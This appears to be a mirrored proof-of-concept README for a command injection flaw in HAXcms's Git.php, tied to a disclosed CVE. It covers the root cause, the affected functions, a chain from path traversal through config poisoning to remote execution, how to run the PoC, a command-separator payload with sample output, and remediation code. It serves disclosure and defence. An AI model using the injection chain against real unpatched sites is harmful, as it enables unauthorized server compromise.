## https://sploitus.com/exploit?id=54DB17CF-989B-5A7F-B1C3-2D37FB5B2634
# CVE-2026-46394 - HAXcms `Git.php` OS Command Injection (CWE-78)
> **Proof-of-concept for authorized security testing and research only.**
> The vulnerability described here is **fixed in the latest release of HAXcms**.
> This PoC is published so that defenders and researchers can verify the issue
> on unpatched instances they own or are explicitly authorized to test.
| | |
|---|---|
| **CVE** | CVE-2026-46394 |
| **Component** | HAXcms PHP backend - `system/backend/php/lib/Git.php` |
| **Vulnerability** | OS Command Injection (CWE-78) |
| **Severity** | High - CVSS 3.1 **7.2** standalone / **8.1** chained with path traversal |
| **Status** | Fixed upstream. Affects releases prior to the patch. |
| **Project** | [elmsln/HAXcms](https://github.com/elmsln/HAXcms) |
| **Reporter** | Shreyas Challa () |
---
## Summary
The `Git.php` library in the HAXcms PHP backend builds shell command strings by
concatenating **unsanitized parameters** and passes them straight to
`proc_open()`. Of the 17 functions that execute shell commands, only **one**
(`commit()`) uses `escapeshellarg()`. The remaining **15** interpolate caller
input directly into the command string.
Any value containing shell metacharacters (`&`, `;`, `|`, `$()`, backticks) that
reaches one of these functions results in **arbitrary OS command execution** as
the web-server user.
The single correctly-escaped function is the clearest evidence that the escaping
was understood and simply omitted everywhere else.
## Root cause
Every vulnerable function flows through `run()` โ `run_command()` โ `proc_open()`:
```php
// Git.php:408-411 - builds a raw command string
public function run($command) {
return $this->run_command(Git::get_bin() . " " . $command);
}
// Git.php:383 - executes it via the system shell
$resource = proc_open($command, $descriptors, $pipes, $this->repo_path, $env);
```
Vulnerable example vs. the one safe function:
```php
// Git.php:574 - VULNERABLE (no escaping)
public function create_branch($branch) {
return $this->run("branch $branch");
}
// Git.php:496 - SAFE (proves the author knew the pattern)
public function commit($message = "") {
return $this->run("commit -av -m " . escapeshellarg($message));
}
```
### All affected functions
| Function | Line | Shell command | Escaped? |
|----------|------|---------------|----------|
| `create_branch($branch)` | 574 | `branch $branch` | **NO** |
| `delete_branch($branch)` | 588 | `branch -d $branch` | **NO** |
| `checkout($branch)` | 663 | `checkout $branch` | **NO** |
| `merge($branch)` | 677 | `merge $branch --no-ff` | **NO** |
| `push($remote, $branch)` | 785 | `push $remote $branch $flags` | **NO** |
| `pull($remote, $branch)` | 799 | `pull $remote $branch` | **NO** |
| `log($format)` | 813 | `log --pretty=format:"$format"` | **NO** |
| `show($commit, $format)` | 830 | `show --pretty=format:"$format" $commit` | **NO** |
| `list_tags($pattern)` | 763 | `tag -l $pattern` | **NO** |
| `clone_to($target)` | 512 | `clone --local $repo $target` | **NO** |
| `clone_from($source)` | 527 | `clone --local $source $repo` | **NO** |
| `clone_remote($source)` | 543 | `clone $source $repo` | **NO** |
| `set_remote($dest, $url)` | 460 | `remote add $dest $url` | **NO** |
| `rm($files)` | 479 | `rm $files` | **NO** |
| `add_tag($tag, $msg)` | 749 | `tag -a $tag -m $msg` | `$tag`: **NO**, `$msg`: yes |
| `commit($message)` | 496 | `commit -av -m $message` | **YES** (only safe one) |
## Exploitation in context
In the shipped codebase these functions are invoked with values drawn from
server/site configuration rather than directly from request bodies, so
exploitation is realized by **chaining**:
- **Path traversal โ config poisoning โ RCE:** use the `saveOutline` path
traversal to overwrite a site's `site.json`, injecting metacharacters into
`metadata.site.git.branch`. The next `gitCommit()` calls
`push('origin', $branch)` at `HAXCMSSite.php:584`, executing the payload.
- Any other mechanism that writes git branch/remote settings into a manifest
reaches `create_branch()` (`Operations.php:2762`) or `set_remote()`
(`HAXCMSSite.php:625`).
## Running the PoC
The PoC drives the real `Git.php` library directly: it spins up a throwaway git
repo, calls `create_branch()` with a payload that uses a shell command separator,
and confirms execution by checking for a proof file written to disk. It cleans
up after itself.
### Prerequisites
- PHP CLI (7.x or 8.x)
- `git` on `PATH`
- A copy of the HAXcms PHP backend
```bash
git clone https://github.com/elmsln/HAXcms.git
git clone https://github.com/shreyas-challa/CVE-2026-46394-haxcms-git-command-injection.git
cd CVE-2026-46394-haxcms-git-command-injection
```
### Run
Point the PoC at the `Git.php` from your HAXcms clone (env var or first argument);
it also auto-discovers `haxcms-php/` placed next to it:
```bash
# Option A - environment variable
HAXCMS_PHP=../HAXcms/haxcms-php/system/backend/php/lib/Git.php php poc_git_cmdi.php
# Option B - CLI argument
php poc_git_cmdi.php ../HAXcms/haxcms-php/system/backend/php/lib/Git.php
```
Works on both Unix (`;` separator) and Windows (`&` separator); the PoC selects
the right payload for the host OS automatically.
### Sample output
```
================================================================
HAXcms Git.php - OS Command Injection (CWE-78)
================================================================
STEP 3: Inject OS command via create_branch()
Payload: test & echo COMMAND_INJECTION_PROOF > "...\PWNED.txt"
STEP 4: Verify injected command executed
FILE FOUND!
Content: COMMAND_INJECTION_PROOF
COMMAND INJECTION CONFIRMED.
```
## Remediation
Apply `escapeshellarg()` to **every** parameter in all 15 functions:
```php
// BEFORE
public function create_branch($branch) {
return $this->run("branch " . $branch);
}
// AFTER
public function create_branch($branch) {
return $this->run("branch " . escapeshellarg($branch));
}
```
Defense in depth - validate values before they reach the git layer:
```php
function validateBranchName($branch) {
return preg_match('/^[a-zA-Z0-9._\/-]+$/', $branch) && strpos($branch, '..') === false;
}
```
Update to the latest HAXcms release, which contains the upstream fix.
## Responsible disclosure
This issue was reported to the HAXcms maintainers and fixed before publication.
The PoC is released only after a patch was available. Use it exclusively against
systems you own or are explicitly authorized to test.
## Legal / authorized-use notice
This material is provided for **defensive research, education, and authorized
security testing**. Running it against systems without explicit permission may
be illegal. You are solely responsible for complying with all applicable laws
and for obtaining authorization before testing. Provided "as is" with no
warranty (see `LICENSE`).